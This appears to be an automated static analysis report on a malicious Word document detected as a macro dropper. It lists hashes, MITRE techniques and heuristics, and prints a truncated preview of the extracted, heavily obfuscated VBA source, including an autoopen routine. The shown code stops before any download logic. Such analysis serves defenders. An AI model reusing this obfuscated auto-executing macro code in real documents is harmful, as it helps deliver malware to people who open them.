Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d52318c1f83d086f…

MALICIOUS

Office (OLE)

77.5 KB Created: 2017-08-16 14:48:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: 333b1bfc685eac9c35aba5786e63d996 SHA-1: 95a2432922cb25bfe6ae608bbac49f0bdefcdf94 SHA-256: d52318c1f83d086fcb94b8ae7288f2acb85f6e441c66a3f1d09365a1018c80bd
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6335671-0. High-severity heuristics indicate the presence of VBA macros, specifically an AutoOpen macro that utilizes CreateObject for execution. This suggests the macro is designed to download and execute a secondary payload, a common dropper behavior.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21747 bytes
SHA-256: 66697a0736b1caff5d6c2fa5da437efd903c3fc874322811d6c2121665bc1a8f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function UeXFYCUeXFYCUeXFYCUeXFYCUeXFYC(ByVal zcrKTxzcrKTxzcrKTxzcrKTxzcrKTx As String, ByVal VucXZFVucXZFVucXZFVucXZFVucXZF As Variant) As Boolean
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
For Each sxGEhAsxGEhAsxGEhAsxGEhAsxGEhA In VucXZFVucXZFVucXZFVucXZFVucXZF
    If sxGEhAsxGEhAsxGEhAsxGEhAsxGEhA = zcrKTxzcrKTxzcrKTxzcrKTxzcrKTx Then
        UeXFYCUeXFYCUeXFYCUeXFYCUeXFYC = True
        Exit Function
    End If
    gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
Next sxGEhAsxGEhAsxGEhAsxGEhAsxGEhA
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
End Function
 Function WGcaytWGcaytWGcaytWGcaytWGcayt(ByVal FLLrTvFLLrTvFLLrTvFLLrTvFLLrTv As String, ByVal fHYXTfHYXTfHYXTfHYXTfHYXT As Variant) As Boolean
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
For Each ExddKExddKExddKExddKExddK In fHYXTfHYXTfHYXTfHYXTfHYXT
    If ExddKExddKExddKExddKExddK = FLLrTvFLLrTvFLLrTvFLLrTvFLLrTv Then
        WGcaytWGcaytWGcaytWGcaytWGcayt = True
        Exit Function
    End If
    gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
Next ExddKExddKExddKExddKExddK
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
End Function
 Function KushzKushzKushzKushzKushz(ByVal XsZhpXsZhpXsZhpXsZhpXsZhp As String, ByVal bhyZmxbhyZmxbhyZmxbhyZmxbhyZmx As Variant) As Boolean
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
For Each LYtFpLYtFpLYtFpLYtFpLYtFp In bhyZmxbhyZmxbhyZmxbhyZmxbhyZmx
    If LYtFpLYtFpLYtFpLYtFpLYtFp = XsZhpXsZhpXsZhpXsZhpXsZhp Then
        KushzKushzKushzKushzKushz = True
        Exit Function
    End If
    gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
Next LYtFpLYtFpLYtFpLYtFpLYtFp
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
End Function
 Function cLrhbcLrhbcLrhbcLrhbcLrhb(ByVal DwXtwDwXtwDwXtwDwXtwDwXtw As String, ByVal rPKuTrPKuTrPKuTrPKuTrPKuT As Variant) As Boolean
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
For Each gpkrWgpkrWgpkrWgpkrWgpkrW In rPKuTrPKuTrPKuTrPKuTrPKuT
    If gpkrWgpkrWgpkrWgpkrWgpkrW = DwXtwDwXtwDwXtwDwXtwDwXtw Then
        cLrhbcLrhbcLrhbcLrhbcLrhb = True
        Exit Function
    End If
    gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
Next gpkrWgpkrWgpkrWgpkrWgpkrW
gFEUKgFEUKgFEUKgFEUKgFEUK = "rkPAfKrkPAfKrkPAfKrkPAfKrkPAfK" + "YYFMAYYFMAYYFMAYYFMAYYFMA" = "NNVWDUNNVWDUNNVWDUNNVWDUNNVWDU"
End Function

Sub autoopen()
hSNDzshSNDzshSNDzshSNDzshSNDzs
End Sub
Public Function LCyMTLCyMTLCyMTLCyMTLC
... (truncated)